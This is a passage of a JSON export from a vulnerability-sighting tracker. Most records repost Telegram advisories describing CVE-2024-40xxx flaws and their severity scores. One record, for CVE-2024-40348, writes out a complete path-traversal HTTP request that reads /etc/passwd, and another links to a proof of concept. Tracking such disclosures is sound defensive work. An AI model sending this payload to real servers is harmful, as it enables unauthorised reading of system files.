Telegram for Android\nhttps://www.welivesecurity.com/en/eset-research/cursed-tapes-exploiting-evilvideo-vulnerability-telegram-android\n\n3. CVE-2024-4040:\nCrushFTP VFS Sandbox Escape\nhttps://github.com/airbus-cert/CVE-2024-4040", "creation_timestamp": "2024-07-24T02:35:45.000000Z"}, {"uuid": "0687a082-47c8-4341-801d-8a21599767d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "Telegram/hlXgBIDEnwtDSd62eb2kH78HlDlGi4AQXmVnDu7v5GC5Kw", "content": "", "creation_timestamp": "2024-08-26T18:04:38.000000Z"}, {"uuid": "be1e7d54-3478-44c3-bb1b-e9a647fe6782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40696", "type": "seen", "source": "https://t.me/cvedetector/16975", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40696 - IBM Sterling B2B Integrator XSS Injection\", \n  \"Content\": \"CVE ID : CVE-2024-40696 \nPublished : Jan. 31, 2025, 4:15 p.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : IBM Sterling B2B Integrator 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.3 Standard Edition is vulnerable to cross-site scripting. This vulnerability allows a privileged user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T19:34:37.000000Z"}, {"uuid": "770a04db-447b-4c07-8b60-731410c23738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40514", "type": "seen", "source": "https://t.me/cvedetector/15669", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40514 - Themesebrand Chatvia Insecure Permissions Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40514 \nPublished : Jan. 16, 2025, 11:15 p.m. | 33\u00a0minutes ago \nDescription : Insecure Permissions vulnerability in themesebrand Chatvia v.5.3.2 allows a remote attacker to escalate privileges via the User profile name and image upload functions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T00:54:50.000000Z"}, {"uuid": "37631c85-0fc7-489c-a76f-3d3370ab82b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40513", "type": "seen", "source": "https://t.me/cvedetector/15668", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40513 - Themesebrand Chatvia Stored Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40513 \nPublished : Jan. 16, 2025, 11:15 p.m. | 33\u00a0minutes ago \nDescription : An issue in themesebrand Chatvia v.5.3.2 allows a remote attacker to execute arbitrary code via the User profile Upload image function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T00:54:50.000000Z"}, {"uuid": "41f81323-332a-4804-9296-1487b4d6ed48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40854", "type": "seen", "source": "https://t.me/cvedetector/15523", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40854 - Apple iOS and macOS Memory Handling Deserialization Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40854 \nPublished : Jan. 15, 2025, 8:15 p.m. | 25\u00a0minutes ago \nDescription : A memory initialization issue was addressed with improved memory handling. This issue is fixed in iOS 18.1 and iPadOS 18.1, iOS 17.7.1 and iPadOS 17.7.1, macOS Sonoma 14.7.1, macOS Ventura 13.7.1. An app may be able to cause unexpected system termination. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T21:49:42.000000Z"}, {"uuid": "f813e8c5-0492-4b1f-a099-e4bc49628194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40839", "type": "seen", "source": "https://t.me/cvedetector/15522", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40839 - Apple iOS Notification Screen Reading Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40839 \nPublished : Jan. 15, 2025, 8:15 p.m. | 25\u00a0minutes ago \nDescription : This issue was addressed through improved state management. This issue is fixed in iOS 17.5 and iPadOS 17.5. An attacker with physical access to an iOS device may be able to view notification contents from the Lock Screen. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T21:49:41.000000Z"}, {"uuid": "3a34e1ed-a672-4e96-80dc-4827dc39a1b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40771", "type": "seen", "source": "https://t.me/cvedetector/15521", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40771 - Apple Kernel Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-40771 \nPublished : Jan. 15, 2025, 8:15 p.m. | 25\u00a0minutes ago \nDescription : The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.5, iOS 16.7.8 and iPadOS 16.7.8, iOS 17.5 and iPadOS 17.5, macOS Monterey 12.7.5, watchOS 10.5, tvOS 17.5, macOS Ventura 13.6.7, visionOS 1.2. An app may be able to execute arbitrary code with kernel privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T21:49:40.000000Z"}, {"uuid": "2f55ebf3-f5d5-4823-8ff1-07f2a19a8849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://t.me/cvedetector/14800", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40762 - SonicWall SSLVPN Predictable Token Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40762 \nPublished : Jan. 9, 2025, 7:15 a.m. | 40\u00a0minutes ago \nDescription : Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in the SonicOS SSLVPN authentication token generator that, in certain cases, can be predicted by an attacker potentially resulting in authentication bypass. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T09:23:36.000000Z"}, {"uuid": "764ef2a6-5619-4024-b3e0-bd501ab0cda0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40427", "type": "seen", "source": "https://t.me/cvedetector/14599", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40427 - PX4-Autopilot Stack Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-40427 \nPublished : Jan. 7, 2025, 7:15 p.m. | 44\u00a0minutes ago \nDescription : Stack Buffer Overflow in PX4-Autopilot v1.14.3, which allows attackers to execute commands to exploit this vulnerability and cause the program to refuse to execute \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T21:24:48.000000Z"}, {"uuid": "1bbad252-cb02-48cc-a3ce-236f3a68e162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40679", "type": "seen", "source": "https://t.me/cvedetector/14616", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40679 - IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) Log File Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40679 \nPublished : Jan. 8, 2025, 1:15 a.m. | 38\u00a0minutes ago \nDescription : IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 is vulnerable to an information disclosure vulnerability as sensitive information may be included in a log file under specific conditions. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T03:16:04.000000Z"}, {"uuid": "da9dd08a-3585-44ba-bbf4-d5e0f8377e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40749", "type": "seen", "source": "https://t.me/cvedetector/14585", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40749 - Apache Stratus Remote Access Violation\", \n  \"Content\": \"CVE ID : CVE-2024-40749 \nPublished : Jan. 7, 2025, 5:15 p.m. | 31\u00a0minutes ago \nDescription : Improper Access Controls allows access to protected views. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T18:54:13.000000Z"}, {"uuid": "e90d856d-4a8a-4cb6-aafe-c35e9bef9ca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40748", "type": "seen", "source": "https://t.me/cvedetector/14584", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40748 - \"Apache Struts HTML Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-40748 \nPublished : Jan. 7, 2025, 5:15 p.m. | 31\u00a0minutes ago \nDescription : Lack of output escaping in the id attribute of menu lists. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T18:54:13.000000Z"}, {"uuid": "fe8f01eb-5536-4949-923a-c350a9d4c445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40747", "type": "seen", "source": "https://t.me/cvedetector/14583", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40747 - Chromium Modules Cross-Site Scripting (XSS) Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-40747 \nPublished : Jan. 7, 2025, 5:15 p.m. | 31\u00a0minutes ago \nDescription : Various module chromes didn't properly process inputs, leading to XSS vectors. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T18:54:12.000000Z"}, {"uuid": "8329a779-c606-4360-bbd9-7bc329176de4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40695", "type": "seen", "source": "https://t.me/cvedetector/13433", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40695 - IBM Cognos Analytics File Upload Vulnerability (Remote Code Execution)\", \n  \"Content\": \"CVE ID : CVE-2024-40695 \nPublished : Dec. 20, 2024, 2:15 p.m. | 30\u00a0minutes ago \nDescription : IBM Cognos Analytics 11.2.0 through 11.2.4 FP4 and   \n  \n12.0.0 through 12.0.4  \n  \n  \n  \ncould be vulnerable to malicious file upload by not validating the content of the file uploaded to the web interface. Attackers can make use of this weakness and upload malicious executable files into the system, and it can be sent to victim for performing further attacks. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T15:54:47.000000Z"}, {"uuid": "e2542851-ebf3-44e1-905a-75af81a4a439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40875", "type": "seen", "source": "https://t.me/cvedetector/13467", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40875 - Apache Absolute Secure Access Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-40875 \nPublished : Dec. 20, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : There is a cross-site scripting vulnerability in the  \nmanagement console of Absolute Secure Access prior to version 13.52. Attackers  \nwith system administrator permissions can interfere with another system  \nadministrator\u2019s use of the management console when the second administrator logs  \nin. Attack complexity is high, attack requirements are present, privileges  \nrequired are high, user interaction required is none. The impact to  \nconfidentiality is none, the impact to availability is low, and the impact to  \nsystem integrity is high. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T23:26:40.000000Z"}, {"uuid": "be91a71d-4ac1-47b5-8439-7ee4907e2748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/14880", "content": "CVE-2024-40348\n\nGET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\n\netc/passwd", "creation_timestamp": "2024-07-26T13:23:37.000000Z"}, {"uuid": "f9f071db-e443-436b-ac6d-a551a4aadc8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40582", "type": "seen", "source": "https://t.me/cvedetector/12412", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40582 - Pentaminds CuroVMS Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40582 \nPublished : Dec. 9, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : Pentaminds CuroVMS v2.0.1 was discovered to contain exposed sensitive information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T18:02:53.000000Z"}, {"uuid": "b135b317-b92e-412b-8e3f-552f6c509ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40583", "type": "seen", "source": "https://t.me/cvedetector/12411", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40583 - Pentaminds CuroVMS Exposed Credentials Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40583 \nPublished : Dec. 9, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : Pentaminds CuroVMS v2.0.1 was discovered to contain exposed credentials. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T18:02:52.000000Z"}, {"uuid": "72a7b4af-d784-4788-9877-be6e7fd17bd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/14736", "content": "https://github.com/bigb0x/CVE-2024-40348\n\nPOC for CVE-2024-40348. Will attempt to read /etc/passwd from target", "creation_timestamp": "2024-07-25T15:46:19.000000Z"}, {"uuid": "b45995f4-14c8-407d-8a23-670bfb538f21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://t.me/cvedetector/13543", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40896 - Libxml2 XXE Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40896 \nPublished : Dec. 23, 2024, 5:15 p.m. | 45\u00a0minutes ago \nDescription : In libxml2 2.11 before 2.11.9, 2.12 before 2.12.9, and 2.13 before 2.13.3, the SAX parser can produce events for external entities even if custom SAX handlers try to override entity content (by setting \"checked\"). This makes classic XXE attacks possible. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T19:10:15.000000Z"}, {"uuid": "e4e71694-7ef8-43a0-8af5-c9f34ea55b5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "Telegram/iNesZUyhDguFczeaL5Zt77EzAav3F9OxfYhSBP9z3gLXig", "content": "", "creation_timestamp": "2024-07-26T10:35:57.000000Z"}, {"uuid": "c8ea6df5-3f73-477b-966d-be2899ceab60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40763", "type": "seen", "source": "https://t.me/cvedetector/12105", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40763 - Heap-based buffer overflow vulnerability in the So\", \n  \"Content\": \"CVE ID : CVE-2024-40763 \nPublished : Dec. 5, 2024, 2:15 p.m. | 38\u00a0minutes ago \nDescription : Heap-based buffer overflow vulnerability in the SonicWall SMA100 SSLVPN due to the use of strcpy. This allows remote authenticated attackers to cause Heap-based buffer overflow and potentially lead to code execution. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T16:11:52.000000Z"}, {"uuid": "cad3e47c-6caf-4c64-8d90-522a3df386e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40691", "type": "seen", "source": "https://t.me/cvedetector/11906", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40691 - IBM Cognos Controller 11.0.0 and 11.0.1 could be\", \n  \"Content\": \"CVE ID : CVE-2024-40691 \nPublished : Dec. 3, 2024, 5:15 p.m. | 2\u00a0hours ago \nDescription : IBM Cognos Controller 11.0.0 and 11.0.1   \n  \ncould be vulnerable to malicious file upload by not validating the content of the file uploaded to the web interface. Attackers can make use of this weakness and upload malicious executable files into the system, and it can be sent to victim for performing further attacks. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-03T20:40:55.000000Z"}, {"uuid": "63080572-0b1c-41be-86e4-79c81c7cecec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40745", "type": "seen", "source": "https://t.me/cvedetector/12008", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40745 - Reflected Cross site scripting vulnerability in Co\", \n  \"Content\": \"CVE ID : CVE-2024-40745 \nPublished : Dec. 4, 2024, 3:15 p.m. | 18\u00a0minutes ago \nDescription : Reflected Cross site scripting vulnerability in Convert Forms component for Joomla in versions before 4.4.6. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T16:45:46.000000Z"}, {"uuid": "b18867dc-883a-4fba-bd4b-54f7807e5412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40744", "type": "seen", "source": "https://t.me/cvedetector/12007", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40744 - Unrestricted file upload via security bypass in Co\", \n  \"Content\": \"CVE ID : CVE-2024-40744 \nPublished : Dec. 4, 2024, 3:15 p.m. | 18\u00a0minutes ago \nDescription : Unrestricted file upload via security bypass in Convert Forms component for Joomla in versions before 4.4.6. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T16:45:45.000000Z"}, {"uuid": "52eed664-94b4-4225-9910-f25ce045f07a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40717", "type": "seen", "source": "https://t.me/cvedetector/11930", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40717 - A vulnerability in Veeam Backup & Replication allo\", \n  \"Content\": \"CVE ID : CVE-2024-40717 \nPublished : Dec. 4, 2024, 2:15 a.m. | 48\u00a0minutes ago \nDescription : A vulnerability in Veeam Backup & Replication allows a low-privileged user with certain roles to perform remote code execution (RCE) by updating existing jobs. These jobs can be configured to run pre- and post-scripts, which can be located on a network share and are executed with elevated privileges by default. The user can update a job and schedule it to run almost immediately, allowing arbitrary code execution on the server. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T04:12:23.000000Z"}, {"uuid": "779f60d9-0707-4d44-903a-04550f16be10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40129", "type": "seen", "source": "https://t.me/cvedetector/999", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40129 - Open5GS Buffer Overflow in PFCP Context Handler\", \n  \"Content\": \"CVE ID : CVE-2024-40129 \nPublished : July 16, 2024, 7:15 p.m. | 40\u00a0minutes ago \nDescription : Open5GS v2.6.4 is vulnerable to Buffer Overflow. via /lib/pfcp/context.c. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:08:36.000000Z"}, {"uuid": "66f99f4b-db6b-4a6d-accd-1c894f9309b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40638", "type": "seen", "source": "https://t.me/cvedetector/11148", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40638 - GLPI SQL Injection Vulnerability Allows Account Takeover\", \n  \"Content\": \"CVE ID : CVE-2024-40638 \nPublished : Nov. 15, 2024, 6:15 p.m. | 42\u00a0minutes ago \nDescription : GLPI is a free asset and IT management software package. An authenticated user can exploit multiple SQL injection vulnerabilities. One of them can be used to alter another user account data and take control of it. Upgrade to 10.0.17. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T19:58:28.000000Z"}, {"uuid": "d8e334a5-e3c7-46b2-9e68-a87114e1545c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40579", "type": "seen", "source": "https://t.me/cvedetector/11023", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40579 - Virtuozzo Hybrid Server WHMCS Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-40579 \nPublished : Nov. 14, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in Virtuozzo Hybrid Server for WHMCS Open Source v.1.7.1 allows a remote attacker to obtain sensitive information via modification of the hostname parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T00:11:42.000000Z"}, {"uuid": "0997cfe4-8a9f-4832-b889-c36f0e9d18b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40407", "type": "seen", "source": "https://t.me/cvedetector/10902", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40407 - Thinfinity Workspace Full Path Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40407 \nPublished : Nov. 13, 2024, 11:15 p.m. | 24\u00a0minutes ago \nDescription : A full path disclosure in Cybele Software Thinfinity Workspace before v7.0.2.113 allows attackers to obtain the root path of the application via unspecified vectors. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T00:46:11.000000Z"}, {"uuid": "b38e3b76-a2a7-461f-b25a-659dece952c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40405", "type": "seen", "source": "https://t.me/cvedetector/10901", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40405 - Thinfinity Workspace Unsecured Access Control Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40405 \nPublished : Nov. 